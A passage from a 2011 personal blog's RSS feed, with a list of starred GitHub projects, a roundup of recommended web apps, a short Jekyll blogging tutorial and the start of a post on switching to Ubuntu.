Chosen - a JavaScript plugin for jQuery and Prototype - makes select boxes better
          
Standard Select.
harvesthq/chosen
          
chosen - Chosen is a library for making long, unwieldy select boxes more friendly.
rthauby/Paige
          
Paige - Super simple project page generation
docco.coffee
          
Docco is a quick-and-dirty, hundred-line-long, literate-programming-style documentation generator. It produces HTML that displays your comme
LeaVerou/prefixfree
          
prefixfree - Break free from prefix hell!
twitter/scala_school
          
scala_school - Lessons in the Fundamentals of Scala
arcturo/library
          
A library of free eBooks we're working on
 tcr/selection.js
          
selection.js - A tiny JavaScript DOM selection library for modern browsers and IE5-8.
First Annual Octocat Dodgeball Invitational
          
Why? We were brainstorming in the office and decided we should throw balls at our enemies. But why stop at destroying our enemies with foam 
nide - Beautiful IDE for Node.JS
          
nide. Beautiful IDE for Node.JS. nide is a web-based IDE for Node.js, designed with simplicity and ease-of-use in mind. The current version 
mikeal/request
          
Simplified HTTP request client.
unconed/TermKit
          
TermKit - Experimental Terminal platform built on WebKit + node.js. Currently only for Mac and Windows, though the prototype works 90% in an
If Dropbox Used GitHub’s Pricing Plan
          
If Dropbox Used GitHub's Pricing Plan. What if Dropbox used GitHub's pricing model? Folders? Yes, folders. I have a lot of folders.]]></description>
            <content:encoded><![CDATA[<p>I was working on the Google +1 Listing API (undocumented). So here’s a list of my current +1 urls on github.com. Most of the projects pertain to web-designing. I’ll update this list automatically every week or so, provided I remember to/set a cron job.</p>
<table>
  <tbody id="urls">
  <tr>
      <td><a href="https://github.com/jayferd/color.js" title="https://github.com/jayferd/color.js">jayferd/color.js</a>
          </td><td><p>color.js - The missing color library</p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/typicaljoe/taffydb" title="https://github.com/typicaljoe/taffydb">typicaljoe/taffydb</a>
          </td><td><p>taffydb - TaffyDB - an open source JavaScript Database for your browser</p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/antirez/lamernews" title="https://github.com/antirez/lamernews">antirez/lamernews</a>
          </td><td><p>lamernews - Lamer News -- an HN style social news site written in Ruby/Sinatra/Redis/JQuery</p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/felixge/node-mysql/" title="https://github.com/felixge/node-mysql/">felixge/node-mysql</a>
          </td><td><p>node-mysql - A pure node.js JavaScript Client implementing the MySql protocol.</p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/daneden/animate.css" title="https://github.com/daneden/animate.css">daneden/animate.css</a>
          </td><td><p>animate.css - A big ol' goody bag filled with CSS animations for WebKit, Firefox and beyond.</p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/javve/list" title="https://github.com/javve/list">javve/list</a>
          </td><td><p>Do you want a 7 KB cross-browser native JavaScript that makes your plain HTML lists super flexible, searchable, sortable and filterable? Yea</p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/azer/jekyll-social-activities" title="https://github.com/azer/jekyll-social-activities">azer/jekyll-social-activities</a>
          </td><td><p>jekyll-social-activities - a jekyll project template to list social network activities</p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/e1ven/Robohash" title="https://github.com/e1ven/Robohash">e1ven/Robohash</a>
          </td><td><p>Robohash - RoboHash.org</p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/donpark/node-robohash" title="https://github.com/donpark/node-robohash">donpark/node-robohash</a>
          </td><td><p>node-robohash - node.js implementation of Robohash. It's neither complete nor render general SVG.</p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/lg/marshmallow" title="https://github.com/lg/marshmallow">lg/marshmallow</a>
          </td><td><p>marshmallow - An open source Campfire server</p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/tmcw/big" title="https://github.com/tmcw/big">tmcw/big</a>
          </td><td><p>big - presentations for busy messy hackers</p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/blog/964-all-of-the-hooks" title="https://github.com/blog/964-all-of-the-hooks">All of the Hooks</a>
          </td><td><p>Service Hooks are available for more events (issues, pull requests, forks, etc). Update them through the API!</p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/chromakode/karmabot" title="https://github.com/chromakode/karmabot">chromakode/karmabot</a>
          </td><td><p>karmabot - A highly extensible IRC karma+information bot written in Python.</p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/moserware/PHPSkills" title="https://github.com/moserware/PHPSkills">moserware/PHPSkills</a>
          </td><td><p>PHPSkills - An implementation of the TrueSkill algorithm in PHP</p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/nodejitsu/docs" title="https://github.com/nodejitsu/docs">nodejitsu/docs</a>
          </td><td><p>docs - Community powered rocket fuel for node.js</p>
      </td>
  </tr>
  <tr>
      <td><a href="http://fgnass.github.com/spin.js/" title="http://fgnass.github.com/spin.js/">spin.js</a>
          </td><td><p>An animated CSS activity indicator with VML fallback.</p>
      </td>
  </tr>
  <tr>
      <td><a href="https://blackberry.github.io/Alice/demos/index.html" title="https://blackberry.github.io/Alice/demos/index.html">Alice.js Demos</a>
          </td><td><p>Alice.js Demos. Alice.js (A Lightweight Independent CSS Engine) is a micro JavaScript library focused on using hardware-accelerated capabili</p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/tcorral/Design-Patterns-in-Javascript" title="https://github.com/tcorral/Design-Patterns-in-Javascript">tcorral/Design-Patterns-in-Javascript</a>
          </td><td><p>Design-Patterns-in-Javascript - Based in examples on Head First Design Patterns</p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/atduskgreg/srender" title="https://github.com/atduskgreg/srender">atduskgreg/srender</a>
          </td><td><p>srender - John Resig's Simple Javascript Templating turned into a jQuery Plugin</p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/mrdavidlaing/functional-javascript" title="https://github.com/mrdavidlaing/functional-javascript">mrdavidlaing/functional-javascript</a>
          </td><td><p>functional-javascript - A fun set of koans to teach you functional programming techniques in Javascript</p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/mrdavidlaing/javascript-koans" title="https://github.com/mrdavidlaing/javascript-koans">mrdavidlaing/javascript-koans</a>
          </td><td><p>javascript-koans - Koans to learn Javascript</p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/robrighter/current" title="https://github.com/robrighter/current">robrighter/current</a>
          </td><td><p>current - Node.js app for visualizing http requests on a lan</p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/bcoe/endtable" title="https://github.com/bcoe/endtable">bcoe/endtable</a>
          </td><td><p>endtable - A ridiculously simple Object Mapper for Node running on top of CouchDB.</p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/sproutcore/sproutcore" title="https://github.com/sproutcore/sproutcore">sproutcore/sproutcore</a>
          </td><td><p>sproutcore - JavaScript Application Framework - JS library only</p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/tpope" title="https://github.com/tpope">tpope's Profile</a>
          </td><td><p>tpope (Tim Pope). You're not logged in! Login; Pricing &amp; Signup. Name: Tim Pope. Website/Blog: http://tpo.pe/. Company: Waiting on t</p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/tpope/vim-fugitive" title="https://github.com/tpope/vim-fugitive">tpope/vim-fugitive</a>
          </td><td><p>vim-fugitive - fugitive.vim: a Git wrapper so awesome, it should be illegal</p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/github/gitignore" title="https://github.com/github/gitignore">github/gitignore</a>
          </td><td><p>A collection of useful .gitignore templates</p>
      </td>
  </tr>
  <tr>
      <td><a href="http://harvesthq.github.com/chosen/" title="http://harvesthq.github.com/chosen/">Chosen - a JavaScript plugin for jQuery and Prototype - makes select boxes better</a>
          </td><td><p>Standard Select.</p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/harvesthq/chosen" title="https://github.com/harvesthq/chosen">harvesthq/chosen</a>
          </td><td><p>chosen - Chosen is a library for making long, unwieldy select boxes more friendly.</p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/rthauby/Paige" title="https://github.com/rthauby/Paige">rthauby/Paige</a>
          </td><td><p>Paige - Super simple project page generation</p>
      </td>
  </tr>
  <tr>
      <td><a href="http://jashkenas.github.com/docco/" title="http://jashkenas.github.com/docco/">docco.coffee</a>
          </td><td><p>Docco is a quick-and-dirty, hundred-line-long, literate-programming-style documentation generator. It produces HTML that displays your comme</p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/LeaVerou/prefixfree" title="https://github.com/LeaVerou/prefixfree">LeaVerou/prefixfree</a>
          </td><td><p>prefixfree - Break free from prefix hell!</p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/twitter/scala_school" title="https://github.com/twitter/scala_school">twitter/scala_school</a>
          </td><td><p>scala_school - Lessons in the Fundamentals of Scala</p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/arcturo/library" title="https://github.com/arcturo/library">arcturo/library</a>
          </td><td><p>A library of free eBooks we're working on</p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/tcr/selection.js" title="https://github.com/tcr/selection.js"> tcr/selection.js</a>
          </td><td><p>selection.js - A tiny JavaScript DOM selection library for modern browsers and IE5-8.</p>
      </td>
  </tr>
  <tr>
      <td><a href="http://dodgeball.github.com/" title="http://dodgeball.github.com/">First Annual Octocat Dodgeball Invitational</a>
          </td><td><p>Why? We were brainstorming in the office and decided we should throw balls at our enemies. But why stop at destroying our enemies with foam </p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/coreh-deprecated/nide" title="https://github.com/coreh-deprecated/nide">nide - Beautiful IDE for Node.JS</a>
          </td><td><p>nide. Beautiful IDE for Node.JS. nide is a web-based IDE for Node.js, designed with simplicity and ease-of-use in mind. The current version </p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/mikeal/request" title="https://github.com/mikeal/request">mikeal/request</a>
          </td><td><p>Simplified HTTP request client.</p>
      </td>
  </tr>
  <tr>
      <td><a href="https://github.com/unconed/TermKit" title="https://github.com/unconed/TermKit">unconed/TermKit</a>
          </td><td><p>TermKit - Experimental Terminal platform built on WebKit + node.js. Currently only for Mac and Windows, though the prototype works 90% in an</p>
      </td>
  </tr>
  <tr>
      <td><a href="http://usersinhell.com/dropbox-github-pricing/" title="http://usersinhell.com/dropbox-github-pricing/">If Dropbox Used GitHub’s Pricing Plan</a>
          </td><td><p>If Dropbox Used GitHub's Pricing Plan. What if Dropbox used GitHub's pricing model? Folders? Yes, folders. I have a lot of folders. </p>
      </td>
  </tr>
  </tbody>
</table>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Must Use Web Applications]]></title>
            <link>https://captnemo.in/blog/2011/10/15/awesome-webapps/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2011/10/15/awesome-webapps/</guid>
            <pubDate>Sat, 15 Oct 2011 00:00:00 GMT</pubDate>
            <description><![CDATA[Here are a few of the applications that I would heavily recommend.
Workflowy
Here’s how Workflow describes itself.
WorkFlowy is a simple, but powerful way to manage all the information in your life.
Here’s their introductory video:


If that does not hook you, I don’t know what will.
Clipboard 
Clipboard is a content archiver tool that makes it quick, snappy, easy, and cool. It has got tons of features and is still in private beta. However, since Michael Arrington blogged about it, it has begun accepting larger number of invites. I’ve only started to use it, but it has been quite awesome till now.
My favorite feature is embed. Everything I’ve embedded on this page is via clipboard, as a demo. You can clip tweets, pics, videos and what not and embed it on your blog easily.
Ge.tt 
Ge.tt is one of the many file sharing sites that seem to have cropped up in Web 2.0. Its USP is its simplicty, however don’t be fooled by it. It has got lots of features as well:

Share URLs while your stuff is uploading
Share without even logging in
Drag and drop upload
Versioning for file Uploads
Share multiple files under a single upload
Limited Analytics (See number of Downloads)
So yes, its not as powerful as many others, but has got quite enough features to keep me busy.
Minus] 
Minus is a simple image sharing service. It was amongst the first to offer Drag-And-Drop upload back before it was cool. Right now, it is trying to become the next flickr, allowing people to subscribe to each other. If you are someone who posts cool pics regularly, check this out.

My primary browser is Chromium, and here are some Chrome Applications that I use regularly:
Offline GMail 
Was a Chrome extension that used Google Gears for letting you use GMail completely offline.

Pros:
Looks cool
Allows multiple accounts
Drafs facility
Labels
Cons
Not all the functionality of Online GMail
Collaborative Editors
I like collaborative editing, working together with people in real-time. Unfortunately, the biggest entrant fizzed out. However, there are still quite a lot of competitors left in the field.
Google Docs
I tend to avoid Google Docs usually, as it is too much of a bloat for me. The integration with Google Chat is good, but sometimes all you need is a plain text editor. There is also an Offline Google Docs application, although it does not allow one to edit documents. Also no presentations.
Etherpad
Etherpad is quite good, as a plain text collaborative editor. I tend it to use it frequently, and it has some excellent features. It makes a thousand revisions of each of my posts, and allows me to play through them, and see who made wat change in real-time. All this, for free. Plus you get chat, and basic formatting (bold, italics, underline).
The previously mentioned workflowy keeps your lists in sync over time, so it is collaborative, though not in real time.
Also, mention goes out to pastehtml, which does an excellent job. Its neither collaborative nor has sharing, but it had me hooked at editable markdown. You can type in markdown, publish in html, and come back and edit your documents, as per your your heart’s wish.
Grooveshark 
I rarely listen to music online, but when I do, its either on Youtube or Grooveshark.

Looking back at this document, it seems that there are not many web-apps that I use.
Some other applications that I regularly use, in no particular order:
FreedCamp - A free alternative to Basecamp 
IssueBurner - Simple Issue Tracking via Email
Postary - A simple blogging platform. “Write.Share.” 
LastPass - Password Manager
I’ll probably add some Chrome Extensions later as well.]]></description>
            <content:encoded><![CDATA[<p>Here are a few of the applications that I would heavily recommend.</p>

<h2 id="workflowy"><a href="http://workflowy.com">Workflowy</a></h2>

<p>Here’s how Workflow describes itself.</p>

<blockquote>
  <p>WorkFlowy is a simple, but powerful way to manage all the information in your life.</p>
</blockquote>

<p>Here’s their introductory video:</p>

<iframe width="500" height="300" src="https://www.youtube.com/embed/CSmbnaPZVHE" frameborder="1" allowfullscreen=""></iframe>

<p>If that does not hook you, I don’t know what will.</p>

<h2 id="clipboard-">Clipboard <img src="https://img.shields.io/badge/status-dead-red.svg?style=flat-square" alt="" /></h2>

<p>Clipboard is a content archiver tool that makes it quick, snappy, easy, and cool. It has got tons of features and is still in private beta. However, since Michael Arrington blogged about it, it has begun accepting larger number of invites. I’ve only started to use it, but it has been quite awesome till now.</p>

<p>My favorite feature is <em>embed</em>. Everything I’ve embedded on this page is via clipboard, as a demo. You can clip tweets, pics, videos and what not and embed it on your blog easily.</p>

<h2 id="gett-"><a href="http://ge.tt/">Ge.tt</a> <img src="https://img.shields.io/badge/status-mostly-dead-orange.svg?style=flat-square" alt="" /></h2>

<p>Ge.tt is one of the many file sharing sites that seem to have cropped up in Web 2.0. Its USP is its simplicty, however don’t be fooled by it. It has got lots of features as well:</p>

<p><img src="https://captnemo.in/img/gett.png" alt="Gett Screenshot" /></p>

<ul>
  <li>Share URLs while your stuff is uploading</li>
  <li>Share without even logging in</li>
  <li>Drag and drop upload</li>
  <li>Versioning for file Uploads</li>
  <li>Share multiple files under a single upload</li>
  <li>Limited Analytics (See number of Downloads)</li>
</ul>

<p>So yes, its not as powerful as many others, but has got quite enough features to keep me busy.</p>

<h2 id="minus-">Minus] <img src="https://img.shields.io/badge/status-dead-red.svg?style=flat-square" alt="" /></h2>

<p>Minus is a simple image sharing service. It was amongst the first to offer Drag-And-Drop upload back before it was cool. Right now, it is trying to become the next flickr, allowing people to subscribe to each other. If you are someone who posts cool pics regularly, check this out.</p>

<p><img src="https://captnemo.in/img/minus.png" alt="Minus Home Page" /></p>

<p>My primary browser is Chromium, and here are some Chrome Applications that I use regularly:</p>

<h2 id="offline-gmail-">Offline GMail <img src="https://img.shields.io/badge/status-dead-red.svg?style=flat-square" alt="" /></h2>

<p>Was a Chrome extension that used Google Gears for letting you use GMail completely offline.</p>

<p><img src="https://lh4.googleusercontent.com/G7YSss4-ULNnV0NPYE3UDszmIAdeV8l3FWAqK0qy_s7LmCTiqG5JeRkl6pEXed2fCwhtoZEU=s400-h275-e365" alt="Offline GMail Screenshot" /></p>

<h3 id="pros">Pros:</h3>

<ul>
  <li>Looks cool</li>
  <li>Allows multiple accounts</li>
  <li>Drafs facility</li>
  <li>Labels</li>
</ul>

<h3 id="cons">Cons</h3>

<ul>
  <li>Not all the functionality of Online GMail</li>
</ul>

<h2 id="collaborative-editors">Collaborative Editors</h2>

<p>I like collaborative editing, working together with people in real-time. Unfortunately, the <a href="http://wave.google.com">biggest entrant</a> fizzed out. However, there are still quite a lot of competitors left in the field.</p>

<h3 id="google-docs"><a href="https://docs.google.com">Google Docs</a></h3>

<p>I tend to avoid Google Docs usually, as it is too much of a bloat for me. The integration with Google Chat is good, but sometimes all you need is a plain text editor. There is also an <a href="https://chrome.google.com/webstore/detail/apdfllckaahabafndbhieahigkjlhalf?hc=search&amp;hcp=main">Offline Google Docs</a> application, although it does not allow one to edit documents. Also no presentations.</p>

<h3 id="etherpad"><a href="http://etherpad.com">Etherpad</a></h3>

<p>Etherpad is quite good, as a plain text collaborative editor. I tend it to use it frequently, and it has some excellent features. It makes a thousand revisions of each of my posts, and allows me to play through them, and see who made wat change in real-time. All this, for free. Plus you get chat, and basic formatting (bold, italics, underline).</p>

<p>The previously mentioned <a href="http://workflowy.com">workflowy</a> keeps your lists in sync over time, so it is collaborative, though not in real time.</p>

<p>Also, mention goes out to <a href="http://pastehtml.com">pastehtml</a>, which does an excellent job. Its neither collaborative nor has sharing, but it had me hooked at <em>editable markdown</em>. You can type in markdown, publish in html, and come back and edit your documents, as per your your heart’s wish.</p>

<h2 id="grooveshark-">Grooveshark <a href="https://www.cinchsolution.com/what-happened-to-grooveshark-com/"><img src="https://img.shields.io/badge/status-dead-red.svg?style=flat-square" alt="" /></a></h2>

<p>I rarely listen to music online, but when I do, its either on Youtube or Grooveshark.</p>

<p><img src="https://captnemo.in/img/grooveshark.jpg" alt="Grooveshark Screenshot" /></p>

<p>Looking back at this document, it seems that there are not many web-apps that I use.</p>

<p>Some other applications that I regularly use, in no particular order:</p>

<ul>
  <li>FreedCamp - A free alternative to <a href="http://basecamphq.com">Basecamp</a> <img src="https://img.shields.io/badge/status-dead-red.svg?style=flat-square" alt="" /></li>
  <li><a href="http://www.issueburner.com/">IssueBurner</a> - Simple Issue Tracking via Email</li>
  <li>Postary - A simple blogging platform. “Write.Share.” <img src="https://img.shields.io/badge/status-dead-red.svg?style=flat-square" alt="" /></li>
  <li><a href="http://lastpass.com">LastPass</a> - Password Manager</li>
</ul>

<p>I’ll probably add some Chrome Extensions later as well.</p>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Blogging with Jekyll]]></title>
            <link>https://captnemo.in/blog/2011/09/19/jekyll/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2011/09/19/jekyll/</guid>
            <pubDate>Mon, 19 Sep 2011 00:00:00 GMT</pubDate>
            <description><![CDATA[For the past few years, there has been a revolution in the blogging scene. People have moved towards better hosting providers, better blogging tools, with automated, and delayed blogging becoming the norm. Posts are written months in advance, and proof-read dozens of times, before making it to the general public. Wordpress, Blogspot, Tumblr, Posterous, Texpaterrn are pretty much everything that most of the bloggers use. However, there have been some silent niche entries in this market. Static Site Generators.
Static Site Generators
Static Site Generators are tools which you use to generate a static version of your site. Instead of using a dynamic scripting language (such as php), your tool takes in your markup & combines it with your blog posts to generate an html only version of your site. This version is then uploaded(for eg, via ftp) and is then visible as your blog. Most such tools are written in languages such as ruby, python, node.js, and erlang. The most commonly known are Jekyll, Hyde, nanoc, and webby. An excellent list is available here.
Benifits of using Static Site Generators
Markup
For me, the most important part of using Jekyll is that it allows me to use markdown as my writing syntax. Markdown is a markup language that is compiled to HTML. It is supposed to be a highly readable version of html. For instance it uses backticks(`) to write code.
`this` becomes this
Also, you can use * to emphasize text(strong or emphasis). Link creation is not the horrible <a href=> that you remember, but the sleek looking [Link text](Link URL). Similarly it offers lots of other features. You can even specify alternative markup languages, such as textile in jekyll configuration.
Ease Of Blogging
You can write blog entries very easily. I’ve added markdown syntax bindings to vim, my favorite editor, and geany has a markdown plugin as well. I am of the opinion that you should write text entries in a text-editor, not a textarea in a browser window. I used Windows Live Writer for quite some time and still believe that it is far ahead of anything else in the market. But the wpost format that it uses is propertiery, and as such stopped me from importing blog posts anywhere.
Revision Control
Revision Control, such as git, works best with text-files. Since your blog entries are now just plain text files, you can easily store them under version control, easily reverting blotched commits, making branches, and merging errors. And in case you do not know it yet, git is awesome!
Layout Tools
Jekyll allows you to define your layout using Liquid Templating. {{content}} translates to the variable content. Similarly you can iterate over blog posts, by using Liquid tags for foreach. The best part is that this is all done before publishing your website, meaning that the final result is always just pure html. You can easily create static portions of your site (such as headers, footers, sidebars).
Getting Started With Jekyll
I’ll start with jekyll, since it is the most used one out there, and runs on github. It even powers this very blog. First, you must install jekyll. On an Ubuntu machine, sudo apt-get install ruby rubygems && gem install jekyll should work. If you are working on development using Ruby, I’d recommend you to rvm, instead of plain vanilla distro ruby installs. For windows folks, install Ruby, and the Devkit using RubyInstaller.org. After that run gem install jekyll.
Instead of preparing a site from scratch, we will instead be forking an existing site running on jekyll, and using it to model our own. This is partly to shield this tutorial from html/css/js which is irrelevant in this case. In this particular case, I will be using my very own website. Download the source code for my website from github and extract it somewhere. Next, you will have to delete all the content inside the _posts, projects, _drafts, contact, & data directories as I do not give permission to you do use those in your site.
Next, create a file called _posts/2011-month-date.md with the following format :
Now, open up the _layouts/ and edit default.html. You’d need basic html skills to replace my photo with your own, and change links to various places. After you are done, just cd into the root directory of the site, and run jekyll. Some output should confirm that the server ran successfully. Open up http://localhost:4000 in your browser, and you will see your web-site running.
Now for the hosting part. All of your current site is hosted in _site folder, so you can upload it anytime you want. Or, if you want, you can use github as your hosting provider. Just follow the instructions on pages.github.com and you should be be up and running in no time.]]></description>
            <content:encoded><![CDATA[<p>For the past few years, there has been a revolution in the blogging scene. People have moved towards better hosting providers, better blogging tools, with automated, and delayed blogging becoming the norm. Posts are written months in advance, and proof-read dozens of times, before making it to the general public. <a href="http://wordpress.com">Wordpress</a>, <a href="http://blogspot.com">Blogspot</a>, <a href="http://tumblr.com">Tumblr</a>, Posterous, Texpaterrn are pretty much everything that most of the bloggers use. However, there have been some silent niche entries in this market. Static Site Generators.</p>

<h2 id="static-site-generators">Static Site Generators</h2>
<p>Static Site Generators are tools which you use to generate a static version of your site. Instead of using a dynamic scripting language (such as php), your tool takes in your markup &amp; combines it with your blog posts to generate an html only version of your site. This version is then uploaded(for eg, via ftp) and is then visible as your blog. Most such tools are written in languages such as <code class="language-plaintext highlighter-rouge">ruby</code>, <code class="language-plaintext highlighter-rouge">python</code>, <code class="language-plaintext highlighter-rouge">node.js</code>, and <code class="language-plaintext highlighter-rouge">erlang</code>. The most commonly known are Jekyll, Hyde, nanoc, and webby. An excellent list is available <a href="https://staticsitegenerators.net/">here</a>.</p>

<h2 id="benifits-of-using-static-site-generators">Benifits of using Static Site Generators</h2>

<h3 id="markup">Markup</h3>

<p>For me, the most important part of using Jekyll is that it allows me to use <code class="language-plaintext highlighter-rouge">markdown</code> as my writing syntax. Markdown is a markup language that is compiled to HTML. It is supposed to be a highly readable version of html. For instance it uses backticks(`) to write code.</p>

<p>`this` becomes <code class="language-plaintext highlighter-rouge">this</code></p>

<p>Also, you can use * to emphasize text(strong or emphasis). Link creation is not the horrible &lt;a href=&gt; that you remember, but the sleek looking [Link text](Link URL). Similarly it offers lots of other features. You can even specify alternative markup languages, such as textile in jekyll configuration.</p>

<h3 id="ease-of-blogging">Ease Of Blogging</h3>
<p>You can write blog entries very easily. I’ve added markdown syntax bindings to <code class="language-plaintext highlighter-rouge">vim</code>, my favorite editor, and geany has a markdown plugin as well. I am of the opinion that you should write text entries in a text-editor, not a textarea in a browser window. I used Windows Live Writer for quite some time and still believe that it is far ahead of anything else in the market. But the wpost format that it uses is propertiery, and as such stopped me from importing blog posts anywhere.</p>

<h3 id="revision-control">Revision Control</h3>
<p>Revision Control, such as <code class="language-plaintext highlighter-rouge">git</code>, works best with text-files. Since your blog entries are now just plain text files, you can easily store them under version control, easily reverting blotched commits, making branches, and merging errors. And in case you do not know it yet, <code class="language-plaintext highlighter-rouge">git</code> is awesome!</p>

<h3 id="layout-tools">Layout Tools</h3>
<p>Jekyll allows you to define your layout using Liquid Templating. {{content}} translates to the variable content. Similarly you can iterate over blog posts, by using Liquid tags for <code class="language-plaintext highlighter-rouge">foreach</code>. The best part is that this is all done before publishing your website, meaning that the final result is always just pure html. You can easily create static portions of your site (such as headers, footers, sidebars).</p>

<h2 id="getting-started-with-jekyll">Getting Started With Jekyll</h2>
<p>I’ll start with jekyll, since it is the most used one out there, and runs on github. It even powers this very blog. First, you must install jekyll. On an Ubuntu machine, <code class="language-plaintext highlighter-rouge">sudo apt-get install ruby rubygems &amp;&amp; gem install jekyll</code> should work. If you are working on development using Ruby, I’d recommend you to <code class="language-plaintext highlighter-rouge">rvm</code>, instead of plain vanilla distro ruby installs. For windows folks, install Ruby, and the Devkit using RubyInstaller.org. After that run <code class="language-plaintext highlighter-rouge">gem install jekyll</code>.</p>

<p>Instead of preparing a site from scratch, we will instead be forking an existing site running on jekyll, and using it to model our own. This is partly to shield this tutorial from html/css/js which is irrelevant in this case. In this particular case, I will be using <a href="http://captnemo.in">my very own website</a>. <a href="http://github.com/captn3m0/captn3m0.github.com">Download the source code</a> for my website from github and extract it somewhere. Next, you will have to delete all the content inside the <code class="language-plaintext highlighter-rouge">_posts</code>, projects, <code class="language-plaintext highlighter-rouge">_drafts</code>, contact, &amp; data directories as I do not give permission to you do use those in your site.</p>

<p>Next, create a file called <code class="language-plaintext highlighter-rouge">_posts/2011-month-date.md</code> with the following format :</p>
<pre>
<code class="prettyprint">
---
title: Title Of Post
layout: post
---
The blog entry follows here in markdown. You can use *italic*, **bold**, [Link](http://google.com), #header1, ##header2 etc.

For more markdown details, visit its official page at http://daringfireball.net/projects/markdown/syntax#autolink
</code>
</pre>

<p>Now, open up the <code class="language-plaintext highlighter-rouge">_layouts/</code> and edit default.html. You’d need basic html skills to replace my photo with your own, and change links to various places. After you are done, just <code class="language-plaintext highlighter-rouge">cd</code> into the root directory of the site, and run <code class="language-plaintext highlighter-rouge">jekyll</code>. Some output should confirm that the server ran successfully. Open up <code class="language-plaintext highlighter-rouge">http://localhost:4000</code> in your browser, and you will see your web-site running.</p>

<p>Now for the hosting part. All of your current site is hosted in <code class="language-plaintext highlighter-rouge">_site</code> folder, so you can upload it anytime you want. Or, if you want, you can use github as your hosting provider. Just follow the instructions on <a href="http://pages.github.com">pages.github.com</a> and you should be be up and running in no time.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Six Months of Ubuntu]]></title>
            <link>https://captnemo.in/blog/2011/09/13/6-months-of-ubuntu/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2011/09/13/6-months-of-ubuntu/</guid>
            <pubDate>Tue, 13 Sep 2011 00:00:00 GMT</pubDate>
            <description><![CDATA[I installed Ubuntu as my primary OS back sometime in February. Not that I’d not tried it earlier. In fact, I’d used a copy of Ubuntu 3 back in day. But this time around, Windows (from my dual boot) just gave up and died. The partition with Windows got heavily corrupted, lost lots of data, and ultimately I had to format it. And Ubuntu dragged through all that. And here I’m today, a veteran of 3 Ubuntu versions, starting with 10.10, and right now on the 11.10 beta.
What have I learned ? That its better than Windows, for one. But several other things as well. I’m writing this post from the general linux-distro scene, and not just Ubuntu in specific. For the period before Feb, I’d been using Linux Mint as my primary OS for quite some time. But Ubuntu Natty Alpha brought all that Unity love (which I doted on once), and I had to move to 11.04
Reasons to switch to Linux
Its free!
Its free! No more paying up for Windows. People who had Windows ship with their computers would be delighted to know that there is something called a Windows Refund, which allows you to be compensated by the cost of Windows, if you decide not to use it.
Better file system. If you’ve ever lost yourself in the mirth of files in “Program Files”, “AppData”, “Application Data”, “sytem32” and the like, you’d be delighted to know that there is a very well balanced binary management system in Linux. All binaries are in PATH, unlike Windows, where some softwares do that, and most don’t. So you can actually run php, git, ruby from any damn place that you want. People who have tried to compile Java programs using javac on Windows might remembring updating PATH in Windows. No more of that in Linux.
Free softwares! The majority of good software on Windows is paid (and even more with Mac). But in the Linux world, (almost) everything is free. What is paid for then? Some games, high level commercial softwares and the like. But most of the stuff is free.
Package Management Apparently Windows 8 will have some sort of app-store with it. Which is a long time coming in Windows. But guess what, almost all Linux distros have some flavor of package manager built in. Debian (and Ubuntu) has apt-get, Arch has pacman, Fedora has yum. And installing softwares is as easy as it could be. Need mysql? Just type sudo apt-get install mysql. Done. Boom. Just like that.
Customization Level Even though I don’t like the messing up of Gnome by Ubuntu, there are tons of alternatives available. I’m right now using Gnome-Shell, and have plans to move to xmonad, which is another Window Manager. Almost every feature on the Linux desktop can be customized.
Terminal I’d always had planned several learn bash scripting kind of to-dos but never got to it until I started using Linux. Even if you don’t script, the actual power of your machine is opened by the terminal. Hacking away in vim, and browsing sites using elinks, and ordering Pizzas in Command Line is as geeky as it gets. Gnome is designed in such a way to allow a normal user to use his computer fully without touching the terminal, but if you use it, it gets better & better.
Applications There was a time I used to be a Windows fanatic, using WMP, Zune, Everything and what not. But now, I’ve got a bigger arsenal of softwares. Ever used Audacious? That’s my default music player, and its awesome.
Software Development You use Windows to develop stuff for Windows. I’m nowhere near to writing applications in C#. I’ll probably be hacking away scripts in ruby, node, python, bash, and building stuff using xul, gtk, webgtk, and qt. All my web applications are ultimately deployed on Linux machines, so it makes sense to write them on Linux. And only Linux has the ease of language package managers, like rubygems, npm, and pip.
Open Source I haven’t yet checked out the Linux Kernel source code, but I’m thinking of getting my hands dirty real soon. Ever since I’ve joined github, I’ve been introduced to several awesome coders, projects, and organizations. And guess what? Its all open source! Meaning I actually spend less time writing parsers for xml, and more time working on applications.
What I’ve Learned
